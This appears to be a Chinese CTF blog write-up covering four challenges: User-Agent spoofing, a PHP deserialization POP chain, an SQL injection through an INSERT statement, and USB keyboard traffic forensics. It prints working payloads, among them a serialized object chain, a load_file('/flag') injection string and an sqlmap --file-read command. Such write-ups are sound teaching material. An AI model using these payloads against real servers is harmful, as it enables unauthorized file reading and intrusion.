加载中…

上一页

CTF Week10 WP

ez_unser

观察源码:

<?php
$UA = $_SERVER['HTTP_USER_AGENT'];
$os = stripos($UA, "Windows NT 5.1;");
$br = stripos($UA, "zilla/4.0");

if ($os == null) {
    echo "<p>需要使用windows xp 系统的电脑才能访问!<br/> </p>";
    exit;
}
if ($os && ($br == null)) {
    echo "<p>这是什么未来浏览器?<br/> </p>";
    exit;
}

if ($os && $br) {
    echo "<h3>POST 这个browser的名字,然后用你想说的word来跟他道别吧<br/> </h3>";
    $browser = $_POST['browser'];
    $word = $_POST['word'];
    if ($browser && $word) {
        $br_bool = strcmp($browser, "IE");
        $wo_bool = strcmp($word, "goodbye");
        if ($br_bool) {
            echo "不是这个browser <br />";
        }
        if ($wo_bool) {
            echo "不是这个word <br />";
        }
        if ($br_bool == 0 && $wo_bool == 0) {
            system("cat /flag");
        }
    }
}

先修改user-agent,把系统改成Windows NT 5.1;、浏览器改成Mozilla/4.0

再用post方式发送browser=IE&word=goodbye. 记得改成post的时候在headers里添加一项content-type: text/plain以识别发送出去的文本.

Source: 题库

http_ex

pop链的构造. 先调用__wakeup(),再传入__toString().

O:5:"ADMIN":1:{s:8:"resource";O:7:"handler":1:{s:3:"doc";O:6:"client":0:{}}}

然后这是假的flag. 用php伪协议读取一下flag.php的源码,发现真正flag的位置.

<?php
echo 'flag{Un53rial1z3_1s_v3rY_1nt3re5t|nG_6ut_th15_I5_a_f@ke_fL@g_lol}';
$flag='./Tru3Flag.php';

访问/Tru3Flag.php,获得flag.

Source: 题库

harrrd_sql^2

代码审计.

看名字应该是sql注入,不能确定. 附件有一份源码,下载后看到Database.php,确认服务器存在mysql数据库;接着看PostController.php

PostController.php
<?php
class PostController{
    public $db;

    public function __construct($db){
        $this->db=$db;
    }

    function add($author,$title,$content){
        $sql="INSERT INTO post SET author='$author',title='$title',content='$content'";
        return (bool)mysqli_query($this->db->conn,$sql);
    }

    function show(){
        $row=[];
        $sql="SELECT * FROM post";
        $res=mysqli_query($this->db->conn,$sql);
        for ($i=0;$i<mysqli_num_rows($res);$i++){
            $row[$i]=mysqli_fetch_assoc($res);
        }
        return $res?$row:false;
    }

    function get($id){
        $sql="SELECT * FROM post WHERE id=$id";
        $res=mysqli_query($this->db->conn,$sql);
        return mysqli_fetch_assoc($res);
    }
}

发现sql语句拼接,找到注入点.

通过sql的load_file函数可以读取文件.
在评论中发送',content=(load_file('/flag'))#拼接语句即可.

还有一种方式,使用sqlmap直接暴力尝试注入读文件.

sqlmap -u "http://***/read_post.php?action=add_comment&id=27" --data "author=aa&content=bb" --file-read "/flag"

Source: 题库

Alt

用WireShark打开文件,发现USB流量,以及“HID DESCRIPTOR”参数. 因此可以用tShark来提取数据.

找到该数据的格式为usbhid.data.

因此执行以下命令提取(以Windows上WireShark自带的tShark为例):

tshark -r keyboard.pcapng -T fields -e usbhid.data > out.txt

获得一串键盘流量.

键盘流量
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005a0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005f0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
04005a0000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
0400600000000000
0400000000000000
0400590000000000
0400000000000000
0400610000000000
0400000000000000
0400620000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
0400620000000000
0400000000000000
04005c0000000000
0400000000000000
04005a0000000000
0400000000000000
04005c0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005a0000000000
0400000000000000
04005f0000000000
0400000000000000
0400610000000000
0400000000000000
04005e0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
04005f0000000000
0400000000000000
04005b0000000000
0400000000000000
04005a0000000000
0400000000000000
04005f0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
04005e0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
04005c0000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005f0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400620000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
04005e0000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
04005a0000000000
0400000000000000
0400590000000000
0400000000000000
04005e0000000000
0400000000000000
04005c0000000000
0400000000000000
04005c0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
0400590000000000
0400000000000000
04005b0000000000
0400000000000000
0400600000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
04005a0000000000
0400000000000000
04005d0000000000
0400000000000000
0400590000000000
0400000000000000
04005c0000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
04005c0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
0400000000000000
04005d0000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
04005d0000000000
0400000000000000
04005b0000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0000000000000000
0400000000000000
04005c0000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
04005f0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
0400000000000000
04005f0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
0400000000000000
04005c0000000000
0400000000000000
0400600000000000
0400000000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0400590000000000
0400000000000000
0000000000000000
0400000000000000
0400610000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000
0400000000000000
04005b0000000000
0400000000000000
04005f0000000000
0400000000000000
04005a0000000000
0400000000000000
04005b0000000000
0400000000000000
0400610000000000
0400000000000000
0000000000000000
00002a0000000000
0000000000000000
0400000000000000
0400590000000000
0400000000000000
04005a0000000000
0400000000000000
04005d0000000000
0400000000000000
0000000000000000

发现一些规律,前面的“\(04\)”是按下Alt键的状态,而后面的两位键码也可以从以下文档的第\(55\)页中找到.

然后按Alt键同时在小键盘输入数字的这种方法应该不陌生,就是输入unicode字符的方式.

现在只需要把Alt后面加上的编码对应的数字找出来,并且把这\(n\)个数字连接成一个\(n\)位整数即可.

注意里面还有没有按住Alt键直接输入的字符. 下面给出了一个C++示例代码,注意该代码并不完整,需要将输出的空格处补0,还需补上那些没有按住Alt键直接输入的字符.

点击查看代码
#include<bits/stdc++.h>
#define ll int
#define rg register
#define rll rg ll
#define put_ putchar(' ')
#define putn putchar('\n')
#define maxn 101
using namespace std;
ll cnta,cntb,sum;
char s[maxn];
char a[maxn],b[maxn];
int main()
{
	freopen("in.txt","r",stdin);
	while(~scanf("%s",s+1))
	{
		if(s[2]=='0') { if(sum) printf("\\u%4x",sum),sum=0;continue; }
		if((s[5]=='0')&&(s[6]=='0')) continue; rg ll c=0;
		if(s[5]>='a'&&s[5]<='f') c+=s[5]-'a'+10;
		else c+=s[5]^'0'; c*=16;
		if(s[6]>='a'&&s[6]<='f') c+=s[6]-'a'+10;
		else c+=s[6]^'0'; sum=sum*10+(c-88)%10;
	}
	return 0;
}

得到一串Unicode编码,使用在线工具转换即可.

\u0066\u006c\u0061\u0067\u007b\u952e\u76d8\u6d41\u91cf\u005f\u0077\u0069\u0074\u0068\u005f\u0061\u006c\u0074\u005f\u548c\u7a97\u6237\u005f\u0031\u0035\u005f\u0035\u006f\u0030\u004f\u004f\u0030\u006f\u005f\u9177\u007d

Source:NewStar CTF 2024

posted @ 2024-11-05 22:40  AC1Liu  阅读(24)  评论(0)    收藏  举报